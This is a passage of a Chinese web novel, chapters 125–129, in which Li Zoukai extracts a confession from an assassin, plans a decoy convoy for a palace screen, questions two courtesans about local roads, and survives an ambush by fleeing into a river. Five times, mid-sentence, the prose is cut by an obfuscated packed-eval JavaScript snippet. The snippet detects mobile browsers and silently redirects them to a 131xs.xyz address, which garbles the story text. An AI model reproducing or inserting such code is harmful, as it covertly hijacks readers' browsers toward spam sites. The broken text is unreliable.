他们看李奏凯的眼神亮得很,带着点打量又透着股热乎,毕竟是刚拿了李奏凯银子的新兄弟,瞧着金主的目光自然格外炙热。 李奏凯扯了扯嘴角,心里松快了些,这宁文轩倒真能干,之前还当他是眼高手低的富家子弟,没想到这么能干,关键时候竟带这么多人来救了命。 “先审人。” 他还是喘着气,指了指那两个没逃掉的**。 宁文轩这才立刻上前,叉着腰喝问:“说!谁派你们来的?!” 那两个**梗着脖子不吭声,眼神冷得像冰,瞧着就不是寻常地痞,显然是受过专业训练的死士。 宁文轩耐着性子问了半天,那两个被擒的**愣是咬紧牙关不吭声,其中一个断了腿的还梗着脖子瞪他,眼神里满是不屑。 宁文轩火上来了,抽出腰间短刀“哐当”架在那断腿**的脖子上,刀刃压得紧实,都能看见皮肤被硌出的红痕: “说不说?再嘴硬老子现在就抹了你的脖子!” **喉结动了动,还是闭着眼不搭话。 宁文轩气得手都抖了,正想再逼问,凌霜突然上前一步,轻轻拍了拍他的胳膊。 “我来。” 她声音淡淡的,蹲下身时裙摆扫过地上的草叶,带起点凉意。 第125章 影杀堂 第一百二十五章影杀堂 她没拿兵器,就那么伸出两根手指,指尖泛着点白,精准地按在了那**断腿的伤处。 这可不是胡乱按的,而是正对着骨头茬子旁边的筋络。 “唔……” **闷哼一声,额角瞬间冒了层冷汗,但还是硬撑着没出声。 凌霜指尖没松,反而微微一旋。 “啊——!” 这下**再也撑不住了,疼得像被踩了尾巴的猫似的弓起身子,冷汗顺着脸颊往下淌,打湿了衣领。 那疼不是钝痛,是钻心的锐痛,像有无数根细针往骨头缝里扎,连带着半边身子都麻了,偏偏脑子还清醒得很,能清清楚楚地感受着那股疼往骨子里钻。 “还不说?” 凌霜指尖又往旁边挪了挪,对准了另一个更敏感的穴位,眼神冷得像冰: “这腿废了本就够疼了,要是再让筋络也断了,往后就算活着,也得拖着条彻底动不了的腿过日,走到哪儿疼到哪儿,下雨阴天更是能疼得打滚。” 她说话时语气平平,却比宁文轩拿刀威胁更让人发怵。 **看着她那双毫无波澜的眼睛,心里那点硬气彻底垮了! 他不怕死,可他怕这种没完没了、磨人心神的疼啊。 这哪还撑得住,赶紧哆嗦着喊:“我说!我说!是……是楚二爷!楚明诚要杀死李奏凯!” “还有呢?” 凌霜指尖没松。 “还有……还有张爷!是张爷帮忙联系的‘影杀堂’!我们是影杀堂的人!” “影杀堂?!” 宁文轩惊呼一声,“那不是金陵附近江湖上出了名的**组织吗?出手几乎从无失手的!” 李奏凯眉头皱得更紧,难怪这些人功夫这么硬,竟是影杀堂的。 楚明诚和张爷要杀他一点不奇怪,不过意外的是,竟连这种狠角色都请动了? 他盯着那**又问:“引我去窄巷的肖管事,是不是你们的人?” **疼得龇牙:“不是……我们只负责动手……那姓肖的是被你们楚家夫人支去带路的,我们也是临时截了信,才知道你们要走那条路……” 李奏凯心里的石头总算落了地,果然是冤枉肖管事了,这次还多亏他机灵懂得去报信叫人来救。 凌霜见问得差不多了,起身退到一旁。 宁文轩赶紧让人把两个**捆结实了:“凯哥,这俩咋办?” “先带回墨香妆坊,晚点再审。” 李奏凯撑着凌霜的胳膊站起来,脸色依旧发白,“楚明诚和张爷……还有这影杀堂,这笔账以后得好好算算了!” …… 李奏凯拖着一身伤赶回楚家时,夜深已浓郁。 楚夫人听说他回来了,竟亲自到带人来在前院廊下,婉儿也跟在后面,手里还攥着块干净的帕子。 “凯哥!你怎么伤成这样子?” 婉儿瞧见他胳膊上缠着带血的布条,胸口的衣襟还浸着红,赶紧小跑着过来扶住他,眼圈都红了。 李奏凯咧嘴嘿嘿笑:“不碍事,皮外伤,死不了。” 他抬眼看向楚夫人,笑着打招呼:“嘿嘿,夫人,还没睡下?” 楚夫人叹了口气,眼底藏着点不易察觉的关切:“你悠着点,要是还能走动,就去议事堂,咱们得敲定明天屏风出货的所有细节。” “我赶回来,可不就是为了这事。” 李奏凯让婉儿扶着,跟楚夫人往议事堂走。 刚进门,就见肖管事正蹲在桌边擦茶盏,瞧见李奏凯这模样,“哎呀”一声蹦起来,想凑过来又往后缩了缩,显然还记着被掐脖子那茬。 李奏凯反倒先拍了拍他肩膀:“肖老三,这次多亏你啊,救了我一命!哈哈……” 肖管事眼睛瞬间亮了,腰杆“唰”地挺直,脸上堆着笑,嘴皮子也利索起来: “李先生这说的哪儿话?您是楚家的中流砥柱,更是夫人的左膀右臂,我肖老三在楚家待了这么多年,护着您本就是应该的!” “白天瞧见您遇袭,我魂都吓飞了,拼了命往墨香妆坊狂跑两公里,路过我最爱吃的阳春面也没吃,遇见漂亮的姑娘也没看一眼,只喝了两口水,就怕晚了一步……” 他越说越起劲,恨不能把心窝子都掏出来表忠心。 李奏凯被他逗得笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244788|181964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几声,没再接着唠,转头看向楚夫人:“夫人,明天的计划……” “先说说镖局的事。”楚夫人打断他,“你今天没去成威远镖局,我还担心这事黄了。” 李奏凯的心也提起来,纳闷这事后续。 “幸好婉儿机灵。” 楚夫人侧身让了让,露出身后站着的慕容彪,“她跟着阿彪去跟镖头谈了,就加了五十两银子,这事算妥了。” 李奏凯一愣,转头看向婉儿。 婉儿被他看得脸颊微红,眼神里却带着点小期待,显然是盼着句夸。 “行啊你,果然美貌与智慧并重!” 李奏凯真心实意地给她竖了个大拇指,又转向慕容彪,也补了个赞,“阿彪你也靠谱!” 婉儿这才抿着嘴笑了,声音轻细却带着点成就感:“我猜凯哥去镖局是要盯这事,可到了时辰也没见你回绣房,就心急得很,赶马车叫上彪哥去的,幸好……幸好能帮上忙。” 慕容彪被夸得尾巴都快翘起来了,仰着脑袋跟只骄傲的公鸡似的,还故意挺了挺肚子: “那是!也不看是谁出马,那镖头起先还拿捏,被我三句两句一唬,立马就应了!” 李奏凯笑着摇摇头,心里却踏实了不少,有这些人搭把手,明天出货的事,该能顺当了。 不过,聊完一阵后,李奏凯还是等婉儿、肖管事和慕容彪等人先离开出去。 议事堂里只剩他和楚夫人两人,他才压低声音,把自己琢磨的计策细细说了一遍。 竟是打算临时换一条押运路线,还让人扮成楚家商队,跟威远镖局的人分两路走,明着护镖,暗着却要引楚明诚和张爷的人上钩。 楚夫人听完,眉头紧紧蹙起,神色里满是惊讶:“这样……怕是要大费周折,换路线得重新打点沿途关卡,最主要没了朝廷公差,怕是很麻烦,而且粮草兵器都得添,消耗的成本可比原先多太多了。” 李奏凯却嘿嘿笑了,往后靠在椅背上,语气轻松却笃定: “夫人是想要安稳,还是要省这点成本?这次给朝廷送屏风,咱们楚家赚的从来不是银子,是朝廷眼里的分量,是往后在金陵立脚的声望。” 第126章 虚虚实实 第一百二十六章虚虚实实 李奏凯顿了顿,抬眼看向楚夫人,眼睛带笑: “夫人您还缺这点银子吗?可要是屏风出了岔子,楚家在朝廷那失了信,往后的日子那才真叫难!哪样更重,夫人心里该清楚吧?” 楚夫人被他说得心头一动! 确实,楚家如今最缺的不是钱,是能压过玉津赵家的底气,是能让官府瞧得上的体面。 她沉默片刻,终是轻咬着牙点了头:“行,那就按你的办!” 话落,想了想又添了句硬话,眼神里带着不容错辨的郑重:“这次只许成功,不能失败!” 李奏凯脸上的笑更得意了,拍着胸脯应道:“夫人尽管放心!人在,货在;就算我这条命交代了,货也得安安稳稳送到宫里去!” 第二天一早,楚家门前就摆开了不小的排场。 威远镖局的二十来个镖师穿着劲装,腰挎长刀,齐刷刷站在台阶下,镖头亲自捧着镖旗立在最前; 楚家的下人们忙着搬东西,那要送进宫的鸳鸯刺绣大屏风被裹在明黄色的绸缎里,由四个壮汉小心翼翼地一幅一幅抬出来,稳稳搁在车上。 绣房的绣娘们也都凑到门口,眼神里又紧张又期待; 婉儿穿梭在人群里,一会儿给镖师递水,一会儿叮嘱下人把绳子系牢,额角渗着薄汗,却把杂事打理得妥妥帖帖。 直到李奏凯披着件新做的藏青外褂走出来,门口才静了静,接着就有人低低喊了声“李先生”,跟着越来越多的人开口。 “李先生”,“凯哥”的声音此起彼伏。 毕竟这次的事从头到尾是他在张罗,昨日又刚遭了刺杀还硬撑着回来议事,此刻风头竟隐隐盖过了楚夫人。 换做是别人如此得志,怕是趾高气昂了,李奏凯这货却赶紧侧身往旁边让了让,对着楚夫人的方向拱了拱手:“夫人,早安!” 大家这才对着楚夫人问好。 楚夫人虽然没表现出来,但多少有点脾气,似笑非笑说道:“李先生,看来大家都很信服你呀!” “哪里哪里,全凭夫人赏识,我不过是楚家一个跑腿打杂的,比起夫人,那肯定萤火比太阳,没得比啊!” 这货一边恭维,还一边做着动作。 楚夫人站在廊下,看着他这举动,嘴角绷着的弧度松了些,却还是没好气地说了句:“你这家伙,倒真会说!” 她这才朝旁边指了指,一辆装饰得不算华丽却格外结实的马车正停在那儿,“为了让你顺顺当把货送到朝廷手里,特意给你备的,我平时出入,都少坐这种豪华马车。” 李奏凯嘿嘿笑:“哈哈,这可是工伤待遇,该得的!” 他凑近些,压低声音,“再说了,夫人您这么体恤下属,大家只会念着楚家的好,名声不更响了?” “就你的嘴甜。” 楚夫人被他逗得没了脾气,脸色却又沉下来,“这次就全托你了!务必把货交到宫里管事的手里,不容有失。否则……” 她没说下去,但那眼神里的分量,李奏凯懂。 “放心。”李奏凯拍了拍胸脯,“保准妥妥的。” 他故意把排场搞得这么隆重公开,就是要让楚明诚和赵家的人看见,让他们清楚“货要从这儿走”,才越容易钻进他设的圈套。 楚夫人的目光在府门外扫了一圈,街角的树后、对面的茶铺里,看着都和往常一样,没什么异常。 可越是这样,她心里越沉,这平静底下,指不定藏着多大的浪。 楚明诚和赵家的人肯定就在附近盯着,接下来,就看李奏凯的了。 李奏凯翻身上了马车,镖头扬声喊了句“起镖”,队伍便缓缓动了起来。 绣娘们站在门口挥手,婉儿踮着脚望了好远,直到马车转过街角,才轻轻松了口气。 楚夫人正望着马车远去的方向出神,身后突然传来一阵急促的脚步声! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244789|181964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚小玉直接跳出大门,头发还乱糟糟的,显然是刚睡醒。 她瞧队伍已经出发,急得跺着脚急道:“哎呀,娘!我就睡晚了一点点,李先生怎么就提前起程了?还有还有,我刚才瞧见那些屏风……” “小玉!” 楚夫人心头猛地一跳,厉声打断她。 肖管事反应更快,一个箭步冲上去捂住楚小玉的嘴,陪着笑打圆场:“二小姐,东西可以乱吃,有些话可不能乱说啊!” 楚小玉被捂得挣了挣,一把推开肖管事的手,瞪着眼还想说:“我没乱说!我刚才看绣房的人搬屏风时,那绸缎底下根本就……” “够了!” 楚夫人的声音沉得像压了冰,“不许胡闹!大人办正事,小孩子家懂什么?赶紧回屋读书去!” 楚小玉一肚子话堵在喉咙里,委屈地瘪了瘪嘴,看看楚夫人紧绷的脸,又看看肖管事一个劲使眼色的模样,终究还是不情不愿地应了声“哦”,踢着石子往回走了。 谁都没留意,街角那棵老槐树后,缩着个鬼鬼祟祟的身影,正是之前被楚家押去官府、却不知怎么逃出来的王虎。 他把方才那一幕听得真切,尤其楚小玉那句“屏风”没说完的话,让他眼里瞬间迸出光来。 “嘿嘿……” 王虎压低声音笑,眼角的皱纹都挤成了褶,“原来李奏凯护着的镖队是假的!真当换了个幌子,就能躲得过?简直做梦,二爷早有所料了!” 他左右瞅了瞅没人,猫着腰溜到墙根下,从怀里摸出个竹笼。 里头竟藏着只灰羽信鸽。 他飞快地撕了块布条,蘸着唾沫在上面划了几行字,塞进信鸽腿上的小竹筒里,扬手把鸽子往天上一抛。 信鸽扑棱棱振着翅膀,往楚明成所在的别院方向飞去。 王虎望着鸽子消失的方向,搓了搓手,脸上的笑越发得意,等楚二爷得了信,李奏凯那小子的好日子,就算到头了! 第127章 我可是正经人 第一百二十七章我可是正经人 金陵一家大宅里。 楚明诚捏着信鸽腿上的布条,看完后冷笑一声,将布条揉成一团扔在地上。 旁边的王表叔,也是楚明诚的心腹,赶紧凑过来瞅了眼,眉头紧锁:“二爷,这可不妙啊!要是镖队押的货是假的,那咱们事先埋伏在青石坡的人马不就白费了?” “白费?” 楚明诚斜他一眼,指尖敲着桌面,露出狰狞笑容:“青石坡的人照样能用,让他们盯着那镖队,见了李奏凯直接动手,先把他杀了再说。至于真正的屏风……” 他顿了顿,眼里闪过狠光,“咱们再另派一队人去劫,我们不用押运,总是能追上的,嘿嘿……这叫一箭双雕!” 王表叔还是犯愁:“可咱们连真屏风走哪条路都摸不清,怎么派?” “蠢!” 楚明诚啐了一口,“不管他走哪条路绕,终点总变不了!朝廷收屏风的特使在西华门等着,他们要进宫交差,总得走朱雀大街!那大街是进内城的主路,绕不开的!” 他起身走到墙边的地图前,指着上面标红的街口:“朱雀大街连着三条岔路,咱们就在这三个路口都埋伏人,不管真屏风从哪条岔路拐进来,只要进了朱雀大街,就休想逃过咱们的眼!” 王迪这才恍然大悟,拍了下大腿:“还是二爷高明!这叫守株待兔,准没错!” “不过……”他又犹豫,“交屏风的地方离府衙近,万一惊动了捕头……” “放心。” 楚明诚阴恻恻地笑,“官道上的事我早打点好了!我让人在府衙门口‘闹点事’,引着捕头带人去处理,保准他们顾不上朱雀大街。” 他转头盯着王迪,语速极快地吩咐:“你现在就去青石坡,告诉那边的人,不用管镖队里的货,见了李奏凯直接下死手,动静越大越好,把所有人的目光都引过去!” “那你呢?” 王迪问。 “我带一队人去朱雀大街的-岔路口守着。” 楚明诚摸出腰间的短刀,用指腹蹭着刀刃,“李奏凯想玩‘声东击西’?那我就陪他玩玩!他以为换了路就安全了?殊不知我早等着他自投罗网,等杀了他,再劫了真屏风,楚家的东西,还是我的!” “哈哈,二爷聪明!” 王迪应了声后,转身就往外走。 楚明诚看着他的背影,嘴角勾起一抹狞笑。 李奏凯的计策是够巧,可终究嫩了点,道高一尺魔高一丈,这次他倒要看看,这小子还怎么逃! 李奏凯这边,只有慕容彪陪着他押这趟镖,前前后后得赶两天两夜的路。 头一天走的都是官道,一路平顺得没半点波澜,镖师们按着规矩护着车,连只野狗都没惊着。 到了傍晚,一行人住进了早就订好的大客栈。 李奏凯累得够呛,身上的伤还隐隐作痛,虽说那辆大马车铺了厚褥子,坐得算舒坦,可颠簸了一整天,骨头缝里都透着乏。 他刚进客房,脱了外褂想歇口气,慕容彪就贼头贼脑地凑了进来,压低声音戳了戳他胳膊:“凯兄弟,要不要……嘿嘿,爽一下?” 李奏凯愣了愣,低头看了看自己胳膊上缠着的布条,又摸了摸胸口还泛疼的伤口,哭笑不得:“爽?你看我这样子,还怎么爽?浑身是伤呢。” 慕容彪却挤眉弄眼地笑,声音压得更低,带着点不怀好意的暧昧:“笨了吧?不用你动啊,让姑娘动就行,我找两技术好的给你揉揉、按按,实在不成,凑过来亲两口解解乏,不就爽了?” 李奏凯这才反应过来他说的是啥,眼睛“唰”地瞪圆了:“不会吧?这押镖的路上,你居然还随身带着姑娘?” “嘿嘿,”慕容彪搓着手,笑得更贼了,“我姐提前就告诉我,让我陪你走这趟,怕路上乏闷,我早就有了准备!这姑娘可不是随便找的,是追凤楼来的,里头还有你之前念叨过的小翠呢。” 李奏凯听得直翻白眼,这死胖子,走到哪儿都惦记着这些。 这年代都被他发明出‘外卖’,确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244790|181964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实牛的! 他本想摆手拒绝,身上的伤哪有心思应付这些? 可慕容彪紧接着又补了句:“哎,说真的,小翠是这地界土生土长的,打小在这附近跑惯了,你跟她聊聊,问问家乡轶事啥的,权当解闷了呗?” 李奏凯这才顿住,虽说他出发前翻了好几遍地图,可终究不是本地人,官道旁的岔路、哪段林子容易藏人、甚至哪家客栈的伙计手脚不干净,这些细碎的本地门道,地图上可标不出来。 万一跟小翠闲聊时能套出点有用的,倒真是意外收获。 他瞅了瞅窗外,天刚擦黑,离深夜还早,歇着也是歇着,于是松了口:“行吧,就让她进来坐坐。不过说好了,就聊聊,别瞎折腾。” 慕容彪见他应了,眉开眼笑地应着“知道知道”,转身就颠颠地往外跑,看那样子,倒比自己要“爽”还急! 慕容彪动作倒是快,没片刻就领了两个姑娘进来。 前头的正是小翠,穿件水绿的小袄,眼尾俏生生地挑着; 后头跟着的姑娘穿粉红衫子,瞧着更嫩些,手里还端着个小铜盆,盆里搭着块热帕子。 两人一进门就笑盈盈围上来,小翠先抢着拿热帕子给李奏凯擦脸,指腹蹭过他下颌时软乎乎的:“凯哥一路累着了吧?妹妹给您松快松快。” 那粉红衫子的姑娘上手就去解他腰间的带子,手指灵活得很,三两下就把外褂扒了下来。 “哎——我可是正经人——” 李奏凯本想拦,可胳膊刚抬起来,就被小翠按住了肩。 她力道不轻不重,正好按在酸痛的地方,捏得他“嘶”了一声,倒不是疼,是带着点酥麻的舒服。 粉红衫子的姑娘已经蹲下身,伸手要去解他的靴带,发顶蹭着他的膝盖,温温的气息扑上来。 “哎……我可是……” 李奏凯想开口,小翠又凑到他耳边,声音软得像糖:“凯哥别动呀,让我们伺候您。” 说着竟往他怀里靠了靠,胸脯蹭着他的胳膊。 第128章 小翠姑娘的话 第一百二十八章小翠姑娘的话 李奏凯身上的伤被这么一碰,疼得倒抽口冷气,可那软香贴在身上,又让他没法硬起心肠赶人。 就这么被两人一左一右围着伺候了片刻,小翠已经开始解自己的袄扣,领口敞开大半,露出里头水红的抹胸; 粉红衫子的姑娘也松了腰间的带子,裙摆往下滑了些。 李奏凯这才猛地回神,赶紧抬手拦:“等等!别脱了!够了!” 两个姑娘一愣,动作顿在那儿,眼里瞬间涌起了慌意。 小翠咬着唇,声音都带了颤:“凯哥……是我们伺候得不好吗?慕容公子说了,要是伺候不爽您,他要教训我们的……” 粉红衫子的姑娘更是眼圈都红了,快要哭出来的样子。 李奏凯见她们这样,倒有些过意不去,拍了拍身边的床沿:“坐这儿吧,不用脱衣服,你们随便给我按按就行,我就是想跟你们聊聊天。” 两人这才松了口气,怯生生地挨着他坐下。 小翠还是没忘捏他的肩,只是力道更轻了些。 李奏凯忍着身上又疼又痒的劲儿,随口问道:“小翠,你是这附近长大的?” “嗯呢,”小翠点头,“家就在青石坡下头的村子里。” “青石坡?” 李奏凯心里一动,他猜测楚明诚的人要是埋伏,那最佳首选肯定是埋伏在青石坡的。 于是,他装作随意地问,“那地方我瞧着路挺偏的,平时有人走吗?” “少哩,”小翠捏着他的胳膊,语气自然,“那坡上有段路是烂泥,下雨就没法走,而且坡后头有片老林子,里头有瘴气呢,前几年有个货郎进去找迷路的驴,进去就没出来,后来官府去搜,只在林子里找着只鞋。” 李奏凯眉峰挑了挑:“哦?那除了青石坡,往朱雀大街去,还有别的近路吗?” 粉红衫子的姑娘接过话:“有是有,从西边的岔路绕,能走河沿,就是河沿那座桥去年被冲坏了一半,只够一人一马过,马车是走不了的。” 小翠又补充道:“而且河沿晚上没人敢走,听说有劫道的,专抢过路的商队,上个月还有个镖师在那儿被捅了一刀呢。” 李奏凯没再接话,心里却记牢了: 青石坡后有瘴气林,河沿有断桥,这两处听着都凶险,可说不定……关键时刻会是能救命的地方。 他又跟两人闲扯了几句家常,故意问些无关紧要的,看着两人渐渐放松了警惕,才笑着摆摆手:“行了,你们先回去吧,我得歇了。” 小翠和粉红衫子的姑娘这才起身,规规矩矩地行了个礼,轻手轻脚地出去了。 李奏凯靠在床头,摸着下巴琢磨,这俩姑娘说的话,怕是比慕容彪想的“爽”,对这次走货有用极了! 第二天一早,李奏凯刚推开门,就见慕容彪趿拉着鞋从隔壁房出来。 领口歪着,腰带松松垮垮挂在腰上,走路还微微晃着,一手扶着腰,脸上带着点没睡醒的倦意。 李奏凯忍不住打趣:“彪哥,你这是昨晚操练过头了?悠着点啊,这模样还能跟着押镖不?” 慕容彪一听,腰杆瞬间挺得笔直,梗着脖子道:“啥操练过头?我这是越折腾越有劲儿!你可别小瞧我!” 说着还故意往李奏凯跟前凑了凑,压低声音贼兮兮地问,“那你呢,凯兄弟?昨晚小翠她们伺候得咋样?够不够意思?嘿嘿……” 李奏凯笑着拍了他胳膊一下:“就跟人聊了会儿天,你想啥呢。” 慕容彪一脸“我懂”的表情,又凑近些:“要不……你那马车宽敞,还能塞俩姑娘,我让小翠她们跟着?路上也能给你解解闷,银子的事你不用担心……” 李奏凯赶紧摆手,表情严肃起来:“别胡闹!这趟押镖关系着楚家的声誉和往后的路,真要是胡乱搞出点事,谁担待得起?” 慕容彪这才讪讪地笑了笑:“嘿嘿……明白明白,我就随口说说。” 嘴上说着明白,等队伍准备出发时,李奏凯眼角余光瞥见,他偷偷把那个穿粉红衫子的姑娘塞进了自己的马车。 李奏凯倒也没多说,反正他相信慕容彪心里有数,真出了事他比谁都慌,便懒得管了,翻身上了自己的马车,喊了声:“走!” 队伍又走了半天,一路平顺得没半点波澜,直到快到青石坡前的小林子,天突然变了脸。 先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244791|181964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是刮起一阵冷风,接着豆大的雨点“噼里啪啦”砸下来,没片刻就成了瓢泼大雨。 路立刻难走起来。 本就不算平整的土路被雨水一泡,成了泥泞,马车轱辘陷进去半尺深,往前挪一步都费劲,镖师们牵着马,裤腿上全溅的泥点子,走得踉踉跄跄。 有镖师凑过来问:“李先生,雨这么大,要不找个地方避避?等雨停了再走?” 李奏凯掀开车帘往外看了看。 林子不算密,但两旁是坡,雨水顺着坡往下淌,汇成小水流往路上灌,再等下去,路怕是更难走。 他又看了看天色,雨看着一时半会儿停不了,沉吟片刻道:“接着走!顺着这条路往前,过了这片林子就是青石坡,坡上虽说路烂,但比在这儿堵着强。” 说完,让镖师们把马车的轮子用粗麻绳绑了圈木板,增加些摩擦力,自己也下了马车,跟着在泥里深一脚浅一脚地走。 他得盯着路况,这节骨眼上,可不能出半点岔子。 在青石坡的烂泥路里又蹚了一阵子,雨还没小,风却更急了,吹得林子里的树“哗哗”响。 只是几声极轻的“噗噗”声,像是泥块被踩陷的动静,镖师们都忙着护车,没人当回事,李奏凯却猛地停了脚。 他鼻尖动了动,雨水里除了泥腥味,还混着点极淡的铁锈味。 “不对劲。” 他低骂一声,扭头把慕容彪拽了过来,“彪子,你带两个镖师,往林子深处走二十步,看看有没有能藏人的土坑,越深越好,带点枯枝败叶回来。” 慕容彪虽愣,却没多问,揣着刀就钻了林子。 镖队接着往前挪,走在最前头的镖师叫老周,是威远镖局的老人,这时抹了把脸上的雨水,凑到李奏凯跟前: “李先生,这路实在没法走了,轮子都快陷没了,要不就在林子里歇会儿?等雨小点再说?” 李奏凯扫了眼四周,两旁的坡更陡了,泥地里还露着半截断树桩,确实难走。 他刚要点头,就听见“咚”的一声闷响,是镖车的轮子彻底陷进了个泥坑,车板晃了晃。 也就在这时,那“噗噗”声突然密了起来! 第129章 生死时刻 第一百二十九章生死时刻 “大家小心!有人劫镖!” 李奏凯猛地喊出声,手已经摸向了腰间的刀。 镖师们都懵了! 周围除了树就是泥,连个人影都没有,哪来的**? 可下一刻,泥地里突然“噌噌”蹿起十几道黑影! 竟是些**裹着草席藏在泥坑里,这会儿掀了席子就扑上来,手里的刀裹着雨水劈向镖师! “不好!护货!” 慕容彪刚从林子里钻出来,见状赶紧喊,人却“嗖”地躲到了李奏凯身后。 瞬间就乱成了一团! **们出手又快又狠,老周挥刀挡了一下,胳膊还是被划开道口子,血混着雨水往下淌。 镖师们也不含糊,举着铁棍就迎上去,泥地里刀棍相撞的脆响、喊杀声混在一起,惨烈得很。 慕容彪扒着李奏凯的胳膊直哆嗦:“他们……他们要抢屏风!” 李奏凯却盯着那些镖车,雨水把车板泡得发胀,屏风裹在绸缎里,就算**想抢,推不动也烧不着。 他拽着慕容彪就往林子钻:“别嚷嚷了,快跟我走!” 两人踩着泥往深处跑,正好撞见慕容彪刚才找到的土坑,足有半人深,坑边还堆着他带回来的枯枝。 李奏凯一把将慕容彪推下去,自己也跳了进去,抓过枯枝败叶往身上一盖,只露双眼睛盯着外面。 “咱……咱们躲在这儿干啥?货还在外头呢!” 慕容彪压着嗓子急道,泥点子溅了满脸。 “稍安勿躁。” 李奏凯的声音比雨还冷,“你没瞧见?这些**盯着的不是货,是活人,他们是来杀我的!” 慕容彪这才暗哗,貌似确实是这样,那他们比货还危险啊! 外面的打斗更凶了,老周吼着又放倒一个**,自己却被人从背后捅了一刀,“扑通”栽进泥里。 李奏凯攥紧了刀。 刚才让慕容彪找坑,果然没白准备,只是不知道,这坑能不能躲到最后? 只等他外面的打斗早没了章法,泥地里横七竖八躺满了人! ****近半,威远镖局的镖师却几乎全军覆没,老周趴在泥里一动不动,手里还攥着半截刀。 李奏凯护着慕容彪缩在土坑里,好几次有**往这边扫来,都被他拽着慕容彪往泥里一滚躲过去。 身上的旧伤早被扯裂了,血混着泥水往下淌,他踉跄着扶着树喘气,刚想拉慕容彪往外挪,就见三个**踹开最后两个镖师,直勾勾朝土坑这边来,显然是盯上他们了。 “妈的,走!” 李奏凯咬着牙拽起慕容彪,往林子深处冲。 他记着昨晚小翠的话,青石坡后头有片林子连着条河! 现在那是他们死里逃生的最后希望! 两人在树缝里钻,身后的**紧追不舍,刀风擦着李奏凯的耳朵飞过,劈在树干上溅起碎木。 慕容彪吓得直哆嗦,还不忘回头瞅:“货……货咋办啊?” “别惦记了!那些都是假货!” 李奏凯吼得声嘶力竭,这话一半是冲慕容彪喊,一半是故意扬高了让**听见,“小命要紧!” 果然,身后的**脚步顿了顿,但也只愣了一瞬,还是举着刀追了上来。 往前跑了没几步,脚下突然一空,竟是片湿滑的坡! 李奏凯反应快,拽着慕容彪顺势往下滚,两人“噗通”一声顺势摔进了水里,正是小翠说的那条河! 河水又冷又急,李奏凯呛了两口,本来就难受得要命,却听到慕容彪在高呼:“救命!凯兄弟,快……快救我啊!” 妈的,死胖子居然还保护游泳? 李奏凯咬咬牙,还是赶紧攥住慕容彪这死胖子的胳膊往对岸游。 刚游到河中间,就见岸上的**追到了河边,竟摸出几枚短镖,“嗖嗖”往水里射! 李奏凯眼疾手快,拽着慕容彪往水底下钻。 短镖擦着他的后背过去,扎在水里溅起水花。 等他憋不住气探出头,就见**竟从腰间摸出个小瓷瓶,往水里倒了些黑乎乎的东西。 不等李奏凯猜测,就见河水瞬间泛开层油花,跟着就有血珠从水底浮上来。 是慕容彪刚才滚下坡时被树枝划开了腿,还有李奏凯一身的旧伤,这会儿伤口被那东西一激,血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244792|181964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涌得更凶了。 “妈的,好狠的王八!” 李奏凯骂了一声,赶紧拼了命地按着死胖子朝水底里潜! 是死是活,全看天意了! 岸上的**盯着水面上的血浮了半晌,见再没动静,又等了片刻,才相互递了个眼色,转身往回走。 他们认定两人要么中了镖,要么被那“化血散”蚀了皮肉,早死在水里了。 却不知李奏凯机灵,知道化血散没那么快溶到深处,拼了命往深处潜。 